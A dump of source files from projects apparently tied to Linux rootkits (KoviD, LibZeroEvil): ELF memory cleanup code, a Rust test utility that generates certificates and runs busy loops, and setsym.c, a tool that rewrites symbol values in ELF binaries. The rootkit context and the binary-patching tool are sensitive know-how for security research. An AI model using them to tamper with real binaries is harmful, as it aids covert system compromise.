ANY KIND, EXPRESS OR 17 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | * SOFTWARE. 23 | */ 24 | /** 25 | * @file destroy.c 26 | * @brief Free memory interface 27 | */ 28 | 29 | #include 30 | #include "common.h" 31 | #include "utils.h" 32 | #include "log.h" 33 | #include "elfo.h" 34 | #include "destroy.h" 35 | #include "asm.h" 36 | #include "map.h" 37 | 38 | /** 39 | * @defgroup cleanup Cleanup 40 | * @ingroup elf 41 | * This set of functions provides mechanisms to free memory allocated 42 | * during ELF parse and manipulation 43 | */ 44 | 45 | /************ CLEANUP ************/ 46 | /** 47 | * @defgroup interfaces 48 | * @ingroup cleanup 49 | * @{ 50 | */ 51 | 52 | /** 53 | * @brief Free-up memory area of EFL raw file 54 | * 55 | * @param elfo Main EFL object 56 | * @see elf_parse_file 57 | * @return True on success 58 | */ 59 | bool elf_destroy_header(elf_t *elfo) { 60 | ASSERT_CON_NULL(elfo); 61 | elf_t **e = &elfo; 62 | /** Ehdr here is just the pointer to memory area */ 63 | return !!((map_fileunmap((*e)->mapaddr, 64 | (*e)->elf_size)) == 0); 65 | } 66 | 67 | /** 68 | * @brief Free-up Program Header 69 | * 70 | * @param elfo Main EFL object 71 | * @see elf_parse_file 72 | * @return True on success 73 | */ 74 | bool elf_destroy_program(elf_t *elfo) { 75 | ASSERT_CON_NULL(elfo); 76 | elf_t **e = &elfo; 77 | sfree((void**)&(*e)->phdrs); 78 | return !!((*e)->phdrs == NULL); 79 | } 80 | 81 | /** 82 | * @brief Free-up Section Header 83 | * 84 | * @param elfo Main EFL object 85 | * @return True on success 86 | */ 87 | bool elf_destroy_section(elf_t *elfo) { 88 | ASSERT_CON_NULL(elfo); 89 | elf_t **e = &elfo; 90 | sfree((void**)&(*e)->shdrs); 91 | return !!((*e)->shdrs == NULL); 92 | } 93 | 94 | /** 95 | * @brief Free-up Symbol Table 96 | * 97 | * @param elfo Main EFL object 98 | * @return True 99 | */ 100 | bool elf_destroy_symbol_table(elf_t *elfo) { 101 | ASSERT_CON_NULL(elfo); 102 | /** ELF object can have no symbols */ 103 | elf_t **e = &elfo; 104 | if ((*e)->syms_symtab) { 105 | free((*e)->syms_symtab); 106 | (*e)->syms_symtab = NULL; 107 | } 108 | if ((*e)->syms_dynsym) { 109 | free((*e)->syms_dynsym); 110 | (*e)->syms_dynsym = NULL; 111 | } 112 | return true; 113 | } 114 | 115 | /** 116 | * @brief Free-up Global Symbol Table 117 | * 118 | * @param elfo Main EFL object 119 | * @return True 120 | */ 121 | bool elf_destroy_global_symbol_table(elf_t *elfo) { 122 | ASSERT_CON_NULL(elfo); 123 | /** ELF object can have no symbols */ 124 | elf_t **e = &elfo; 125 | if ((*e)->sht_symtab) { 126 | free((*e)->sht_symtab); 127 | (*e)->sht_symtab = NULL; 128 | } 129 | if ((*e)->sht_dynsym) { 130 | free((*e)->sht_dynsym); 131 | (*e)->sht_dynsym = NULL; 132 | } 133 | return true; 134 | } 135 | 136 | /** 137 | * @brief Free-up Main ELF object 138 | * 139 | * @param elfo Main EFL object 140 | * @return True on success 141 | */ 142 | bool elf_destroy_elfo(elf_t *elfo) { 143 | ASSERT_CON_NULL(elfo); 144 | elf_t **e = &elfo; 145 | sfree((void**)e); 146 | return !!(*e == NULL); 147 | } 148 | 149 | bool elf_destroy_all(elf_t *elfo) { 150 | bool rc1 = elf_destroy_program(elfo); 151 | bool rc2 = elf_destroy_section(elfo); 152 | bool rc3 = elf_destroy_global_symbol_table(elfo); 153 | bool rc4 = elf_destroy_symbol_table(elfo); 154 | bool rc5 = elf_destroy_header(elfo); 155 | bool rc6 = elf_destroy_elfo(elfo); 156 | 157 | return (rc1 && rc2 && rc3 && rc4 && rc5 && rc6); 158 | } 159 | 160 | /** @} */ 161 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/tests/src/main.rs: -------------------------------------------------------------------------------- 1 | // Rust code that can work as 2 | // an alternative to C/bash ones in test/ 3 | // 4 | // Pretty random, just a bunch of utilities 5 | // in the same place 6 | // work in progress... 7 | 8 | use anyhow::Context; 9 | use fork::{daemon, Fork}; 10 | use std::convert::From; 11 | use std::{ 12 | ffi::OsStr, 13 | fs::{self, File}, 14 | io::Write, 15 | path::{Path, PathBuf}, 16 | process::{self, Command}, 17 | {thread, time}, 18 | }; 19 | use structopt::StructOpt; 20 | 21 | const ABOUT: &str = "Random test/utility tools for KoviD"; 22 | const KVTMP: &str = "/tmp/kv"; 23 | 24 | // Convert each argument in order and 25 | // avoid repeating OsStr::new() 26 | macro_rules! osstr_params { 27 | ($($a:expr), *) => { 28 | &[ 29 | $(>::as_ref(&$a),)* 30 | ] 31 | } 32 | } 33 | 34 | #[derive(Debug, StructOpt)] 35 | #[structopt( 36 | about = ABOUT, 37 | )] 38 | enum CliCmd { 39 | #[structopt(about = "Run option")] 40 | Do(Do), 41 | #[structopt(about = "Show do options")] 42 | Options, 43 | } 44 | 45 | #[derive(Debug, StructOpt)] 46 | struct Do { 47 | option: String, 48 | } 49 | 50 | fn fetch_output(output: &Vec) -> String { 51 | let mut output = String::from_utf8_lossy(&output).into_owned(); 52 | output.truncate(output.trim_end().len()); 53 | output 54 | } 55 | 56 | fn run_command(option: &str, path: &Path, args: &[&OsStr]) -> Vec { 57 | println!("{:?} {:?}", option, args); 58 | let output = Command::new(option) 59 | .args(args) 60 | .current_dir(path) 61 | .output() 62 | .unwrap_or_else(|e| panic!("{option} failed to execute process: {e}")); 63 | assert!(output.status.success()); 64 | output.stdout 65 | } 66 | 67 | fn busy() -> ! { 68 | let mut val = 0; 69 | let mut f; 70 | let pid: PathBuf = PathBuf::from(format!("{}", process::id())); 71 | let fname: PathBuf = [Path::new(KVTMP), &pid].iter().collect(); 72 | let d = Path::new(KVTMP); 73 | 74 | fs::create_dir_all(d).expect("Error creating directory {d}"); 75 | f = File::create(fname).expect("Error creating {fname}"); 76 | 77 | println!("{:?}", f); 78 | loop { 79 | let v = format!("{0}\n", val); 80 | thread::sleep(time::Duration::from_secs(1)); 81 | f.write_all(v.as_bytes()).expect("Error writing {fname}"); 82 | val += 1; 83 | } 84 | } 85 | 86 | fn certs() -> anyhow::Result<()> { 87 | let p = Path::new("certs"); 88 | let c = osstr_params!["-p", p]; 89 | let res = run_command("mkdir", Path::new("."), c); 90 | let res = fetch_output(&res); 91 | println!("{res}"); 92 | 93 | let c = osstr_params![ 94 | "req", 95 | "-newkey", 96 | "rsa:2048", 97 | "-nodes", 98 | "-keyout", 99 | "server.key", 100 | "-x509", 101 | "-days", 102 | "30", 103 | "-out", 104 | "server.crt", 105 | "-subj", 106 | "/C=US/ST=Arizona/L=Supai Village/O=Global Security/OU=IT Department/CN=supai.com" 107 | ]; 108 | let res = run_command("openssl", p, c); 109 | println!("{:?}", res); 110 | 111 | let s_key = fs::read_to_string("./certs/server.key")?; 112 | let s_crt = fs::read_to_string("./certs/server.crt")?; 113 | 114 | let mut s_pem = File::options() 115 | .create_new(true) 116 | .append(true) 117 | .open("certs/server.pem")?; 118 | 119 | s_pem.write_all(s_key.as_bytes())?; 120 | s_pem.write_all(s_crt.as_bytes())?; 121 | 122 | let c = osstr_params![ 123 | "req", 124 | "-x509", 125 | "-newkey", 126 | "rsa:2048", 127 | "-keyout", 128 | "key.pem", 129 | "-out", 130 | "cert.pem", 131 | "-days", 132 | "365", 133 | "-nodes", 134 | "-subj", 135 | "/C=US/ST=Arizona/L=Supai Village/O=Global Security/OU=IT Department/CN=supai.com" 136 | ]; 137 | let res = run_command("openssl", p, c); 138 | println!("{:?}", res); 139 | 140 | Ok(()) 141 | } 142 | 143 | fn fork() -> thread::Result<()> { 144 | let thandle = thread::spawn(move || { 145 | println!("Detached PID {}", process::id()); 146 | thread::sleep(time::Duration::from_secs(300)); 147 | }); 148 | thandle.join() 149 | } 150 | 151 | fn run(opts: Do) -> anyhow::Result<()> { 152 | match opts.option.as_ref() { 153 | "busy" => busy(), 154 | "certs" => { 155 | certs().with_context(|| format!("Error generating certificates"))?; 156 | } 157 | "fork" => { 158 | let _ = fork(); 159 | } 160 | _ => println!("Invalid command {}", opts.option), 161 | } 162 | Ok(()) 163 | } 164 | 165 | fn main() -> anyhow::Result<()> { 166 | match CliCmd::from_args() { 167 | CliCmd::Options => { 168 | println!("busy\ncerts\nfork"); 169 | Ok(()) 170 | } 171 | CliCmd::Do(opts) => run(opts), 172 | } 173 | } 174 | -------------------------------------------------------------------------------- /research-rootkit/elf/setsym.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # include 23 | # include // fopen, fprintf, printf. 24 | # include // perror. 25 | # include 26 | # include 27 | // Get PRIx64. 28 | # include 29 | 30 | # include 31 | 32 | # include "uelf.h" 33 | 34 | 35 | int 36 | main(int argc, char **argv) 37 | { 38 | if (argc < 3 || argc > 4) { 39 | fprintf(stderr, "%s\n", "Invalid Arguments!"); 40 | return EXIT_FAILURE; 41 | } 42 | 43 | FILE *fp = fopen(argv[1], "r+"); 44 | if (fp == NULL) { 45 | perror("fopen"); 46 | return EXIT_FAILURE; 47 | } 48 | 49 | if (check_elf_ident(fp) != 0) { 50 | return EXIT_FAILURE; 51 | } 52 | 53 | Elf64_Ehdr *header = get_elf_header(fp); 54 | if (header == NULL) { 55 | return EXIT_FAILURE; 56 | } 57 | 58 | Elf64_Shdr *sec_header_tab = get_sec_header_tab(fp, header); 59 | if (sec_header_tab == NULL) { 60 | return EXIT_FAILURE; 61 | } 62 | 63 | Elf64_Shdr *str_tab_header = sec_header_tab + header->e_shstrndx; 64 | char *shstrtab = get_shstrtab(fp, 65 | str_tab_header); 66 | if (shstrtab == NULL) { 67 | return EXIT_FAILURE; 68 | } 69 | 70 | Elf64_Shdr *symtab = get_section_by_name(".symtab", 71 | header, 72 | sec_header_tab, 73 | shstrtab); 74 | Elf64_Shdr *strtab = get_section_by_name(".strtab", 75 | header, 76 | sec_header_tab, 77 | shstrtab); 78 | if (symtab == NULL || strtab == NULL) { 79 | return EXIT_FAILURE; 80 | } 81 | 82 | Elf64_Sym *syms = malloc(symtab->sh_size); 83 | if (syms == NULL) { 84 | perror("malloc"); 85 | return EXIT_FAILURE; 86 | } 87 | fseek(fp, symtab->sh_offset, SEEK_SET); 88 | if (fread(syms, 1, symtab->sh_size, fp) != symtab->sh_size) { 89 | fprintf(stderr, "%s\n", "Incomplete Symbol Table!"); 90 | return EXIT_FAILURE; 91 | } 92 | 93 | char *strs = malloc(strtab->sh_size); 94 | if (strs == NULL) { 95 | perror("malloc"); 96 | return EXIT_FAILURE; 97 | } 98 | fseek(fp, strtab->sh_offset, SEEK_SET); 99 | if (fread(strs, 1, strtab->sh_size, fp) != strtab->sh_size) { 100 | fprintf(stderr, "%s\n", "Incomplete String Table!"); 101 | return EXIT_FAILURE; 102 | } 103 | 104 | int total = symtab->sh_size / symtab->sh_entsize; 105 | for (int count = 0; count < total; count += 1) { 106 | if (strcmp(strs + syms[count].st_name, argv[2]) == 0) { 107 | if (argc == 4) { 108 | Elf64_Sym sym = syms[count]; 109 | char *endp; 110 | errno = 0; 111 | unsigned long long val = strtoull(argv[3], &endp, 0); 112 | if ((errno == ERANGE && val == ULLONG_MAX) || 113 | (errno != 0 && val == 0)) { 114 | perror("strtoull"); 115 | return EXIT_FAILURE; 116 | } 117 | if (endp == argv[3]) { 118 | fprintf(stderr, "%s\n", "No Valid Number!"); 119 | return EXIT_FAILURE; 120 | } 121 | sym.st_value = val; 122 | 123 | long delta = count * symtab->sh_entsize; 124 | fseek(fp, symtab->sh_offset + delta, SEEK_SET); 125 | if (fwrite(&sym, 1, sizeof sym, fp) != sizeof sym) { 126 | fprintf(stderr, "%s\n", "Incomplete Sym Write!"); 127 | return EXIT_FAILURE; 128 | } else { 129 | fprintf(stderr, "%s\n", "Writing complete."); 130 | } 131 | } else { 132 | printf("0x%"PRIx64"\n", syms[count].st_value); 133 | } 134 | } 135 | } 136 | 137 | free(header); 138 | free(sec_header_tab); 139 | free(shstrtab); 140 | free(syms); 141 | free(strs); 142 | return EXIT_SUCCESS; 143 | } 144 | --------------------------------------------------------------------------------